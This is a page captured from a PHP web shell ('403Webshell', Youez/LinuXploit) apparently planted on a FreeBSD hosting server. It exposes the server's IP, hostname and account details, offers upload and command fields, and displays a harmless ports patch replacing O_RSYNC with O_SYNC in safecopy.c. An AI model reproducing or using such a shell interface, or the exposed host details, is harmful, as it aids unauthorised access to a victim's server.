403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.168
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/safecopy/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/safecopy/files/patch-src_safecopy.c
--- src/safecopy.c.orig	2017-02-07 19:49:05 UTC
+++ src/safecopy.c
@@ -900,7 +900,7 @@ int main(int argc, char ** argv) {
 		fprintf(stdout, "File size: %llu\n", (long long) statusvars->filesize );
 	} else {
 		fprintf(stderr, "Filesize not reported by stat(), trying seek().\n");
-		statusvars->source = open(configvars->sourcefile, O_RDONLY | O_RSYNC);
+		statusvars->source = open(configvars->sourcefile, O_RDONLY | O_SYNC);
 		if (statusvars->source) {
 			statusvars->filesize = lseek(statusvars->source, 0, SEEK_END);
 			close(statusvars->source);
@@ -1691,7 +1691,7 @@ int main(int argc, char ** argv) {
 			for ( statusvars->cseeks = 0; statusvars->cseeks < statusvars->seeks ; statusvars->cseeks ++) {
 				debug(DEBUG_SEEK, "debug: forced head realignment\n");
 				// note. must use O_RSYNC since with O_DIRECT / raw devices, lseek to end of file might not work
-				statusvars->source = open(configvars->sourcefile, O_RDONLY | O_NONBLOCK | O_RSYNC );
+				statusvars->source = open(configvars->sourcefile, O_RDONLY | O_NONBLOCK | O_SYNC );
 				if (statusvars->source) {
 					lseek(statusvars->source, 0, SEEK_SET);
 					select_for_reading(statusvars->source, configvars, statusvars);
@@ -1699,7 +1699,7 @@ int main(int argc, char ** argv) {
 					read(statusvars->source, statusvars->databuffer , statusvars->blocksize );
 					close(statusvars->source);
 				}
-				statusvars->source = open(configvars->sourcefile, O_RDONLY | O_NONBLOCK | O_RSYNC );
+				statusvars->source = open(configvars->sourcefile, O_RDONLY | O_NONBLOCK | O_SYNC );
 				if (statusvars->source) {
 					lseek(statusvars->source,- statusvars->blocksize , SEEK_END);
 					select_for_reading(statusvars->source, configvars, statusvars);

Youez - 2016 - github.com/yon3zu
LinuXploit